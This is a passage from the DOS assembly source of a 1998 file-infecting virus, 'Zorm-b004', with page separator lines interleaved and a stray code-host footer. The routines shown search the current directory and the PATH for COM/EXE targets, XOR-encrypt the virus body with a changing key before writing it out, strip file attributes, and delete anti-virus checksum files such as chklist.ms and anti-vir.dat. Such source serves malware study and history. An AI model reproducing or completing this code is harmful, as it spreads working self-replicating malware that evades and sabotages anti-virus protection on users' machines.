old_ip dw 0 ; yyyy
|
||||
old_cs dw 0 ; xxxx
|
||||
old_sp dw 0
|
||||
old_ss dw 0
|
||||
store:
|
||||
store_ip dw 0
|
||||
store_cs dw 0fff0h
|
||||
store_sp dw 0
|
||||
store_ss dw 0fff0h
|
||||
|
||||
;-----------------------------------
|
||||
;search in current directory.
|
||||
|
||||
search:
|
||||
mov ah,4eh
|
||||
cmp byte ptr [flag_com+bp],'C'
|
||||
jnz its_exe
|
||||
lea dx,com_file+bp
|
||||
jmp its_com
|
||||
its_exe:
|
||||
lea dx,file_mask+bp
|
||||
its_com:
|
||||
mov cx,7
|
||||
int 21h
|
||||
ret
|
||||
search_again:
|
||||
mov ah,4fh
|
||||
int 21h
|
||||
ret
|
||||
;-----------------------------------
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
;-----------------------------------
|
||||
;change directory to parent dir.
|
||||
|
||||
up_dir:
|
||||
mov ah,3bh
|
||||
lea dx,dot_dot+bp
|
||||
int 21h
|
||||
ret
|
||||
;-----------------------------------
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
;-----------------------------------
|
||||
;find the next dir in dos path
|
||||
;and set current dir=dir found.
|
||||
|
||||
change_path_dir:
|
||||
|
||||
lea si,new_dir+bp
|
||||
notyet:
|
||||
cmp byte ptr es:[di],';'
|
||||
jz _end
|
||||
cmp byte ptr es:[di],0
|
||||
jz _end2
|
||||
mov ah,byte ptr es:[di]
|
||||
mov byte ptr [si],ah
|
||||
inc di
|
||||
inc si
|
||||
jmp notyet
|
||||
_end:
|
||||
mov byte ptr [si],0
|
||||
inc di
|
||||
mov ah,3bh
|
||||
lea dx,new_dir+bp
|
||||
int 21h
|
||||
ret
|
||||
_end2:
|
||||
xor ax,ax
|
||||
ret
|
||||
;------------------------------------------
|
||||
|
||||
|
||||
encrypt:
|
||||
push ax
|
||||
push bx
|
||||
|
||||
change_xor_value:
|
||||
mov al,byte ptr [_al+bp]
|
||||
inc al
|
||||
cmp al,0
|
||||
jne more
|
||||
inc al
|
||||
more:
|
||||
mov byte ptr [_al+bp],al
|
||||
|
||||
mov ah,byte ptr [value+bp]
|
||||
|
||||
inc ah
|
||||
cmp ah,0
|
||||
jne again
|
||||
inc ah
|
||||
again:
|
||||
mov byte ptr [value+bp],ah
|
||||
|
||||
|
||||
copy_virus_to_queue_buffer:
|
||||
;cld
|
||||
push di
|
||||
push es
|
||||
push cs
|
||||
pop es
|
||||
lea si,start+bp
|
||||
lea di,queue+bp
|
||||
mov cx,end_virus-start
|
||||
rep movsb
|
||||
pop es
|
||||
pop di
|
||||
crypt_main_part_of_virus_in_buffer:
|
||||
|
||||
mov cx,end_main-begin_main
|
||||
lea bx,queue+(begin_main-start)+bp
|
||||
call crypt
|
||||
xchg al,ah
|
||||
|
||||
inc al
|
||||
inc al
|
||||
crypt_2nd_part_of_virus_in_buffer:
|
||||
|
||||
mov cx,end_2nd-begin_2nd
|
||||
lea bx,queue+(begin_2nd-start)+bp
|
||||
call crypt
|
||||
|
||||
pop bx
|
||||
pop ax
|
||||
ret
|
||||
set_attrib:
|
||||
mov ax,4301h
|
||||
xor cx,cx
|
||||
int 21h
|
||||
ret
|
||||
kill_file:
|
||||
mov ah,41h
|
||||
int 21h
|
||||
ret
|
||||
int_24h:
|
||||
mov al,3
|
||||
iret
|
||||
set_dta:
|
||||
mov ah,1ah
|
||||
int 21h
|
||||
ret
|
||||
compute_delta:
|
||||
call delta
|
||||
delta:
|
||||
pop bp
|
||||
sub bp,offset delta
|
||||
ret
|
||||
go_end:
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
ret
|
||||
|
||||
signature db '(c)Zorm-b004 by Dr.L March/July98'
|
||||
jmp_bytes db 0e9h,0,0,'V'
|
||||
store_bytes db 90h,90h,0cdh,20h
|
||||
killfile1 db 'anti-vir.dat',0
|
||||
killfile2 db 'chklist.ms' ,0
|
||||
killfile3 db 'chklist.cps' ,0
|
||||
dot_dot db '..',0
|
||||
file_mask db 'goat*.exe',0 ;anti-lamer routine
|
||||
com_file db 'goat*.com',0
|
||||
|
||||
end_main:
|
||||
|
||||
|
||||
end_virus:
|
||||
com_target db ?
|
||||
com_virus db ?
|
||||
flag_com db ?
|
||||
disk db ?
|
||||
attribute dw ?
|
||||
old_int24h dd ?
|
||||
_ds dw ?
|
||||
count_infect db ?
|
||||
slash db ?
|
||||
current_dir db 64 dup (?)
|
||||
exe_header db 1ch dup (?)
|
||||
new_dta db 43 dup (?)
|
||||
new_dir db 64 dup (?)
|
||||
queue:
|
||||
end start1
|
||||
Reference in New Issue
Block a user